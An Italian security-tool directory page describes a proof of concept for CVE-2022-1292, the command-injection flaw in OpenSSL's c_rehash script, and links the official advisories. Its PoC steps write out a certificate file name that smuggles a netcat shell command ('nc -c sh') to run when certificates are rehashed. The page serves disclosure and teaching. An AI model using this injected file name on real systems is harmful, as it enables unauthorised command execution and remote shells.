Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-1292 — CVE-2022-1292 Vulnerabilità di c_rehash in OpenSSL - POC | Kitploit
Strumenti/GitHubGitHub/alcaparra/cve-2022-1292
Analisi delle VulnerabilitàExploitPenetration TestingCommand and ControlApprendimento e FormazioneSviluppo Payload
GitHubalcaparra/cve-2022-1292

CVE-2022-1292

CVE-2022-1292 Vulnerabilità di c_rehash in OpenSSL - POC

Vedi Repository
2884 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-1292 POC

Screenshot del POC

Descrizione

root@kitploit:~
The c_rehash script does not properly sanitise shell metacharacters to prevent command injection. 
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.

This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.

L'iniezione di comandi avviene perché i nomi dei file non vengono adeguatamente sanitizzati:

  • $fname =~ s/'/'\\''/g;
  • my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;

Questa parte dello script è vulnerabile, poiché chiudendo i backtick si permette l'esecuzione di comandi, ad esempio un file chiamato: MyCert.crt`whoami` eseguirà "whoami".

POC

  1. Naviga in /etc/ssl/certs/ (predefinito) o in altri percorsi configurati in update-ca-certificates
  2. echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc come esempio di payload)
  3. Poi attendi l'esecuzione di update-ca-certificates. Puoi attivarlo manualmente con c_rehash .

Riferimenti

  • https://www.cvedetails.com/cve/CVE-2022-1292/
  • https://www.debian.org/security/2022/dsa-5139
  • https://lists.debian.org/debian-lts-announce/2022/05/msg00019.html
  • https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=1ad73b4d27bd8c1b369a3cd453681d3a4f1bb9b2
  • https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=e5fd1728ef4c7a5bf7c7a7163ca60370460a6e23
  • https://www.openssl.org/news/secadv/20220503.txt
Scarica lo strumento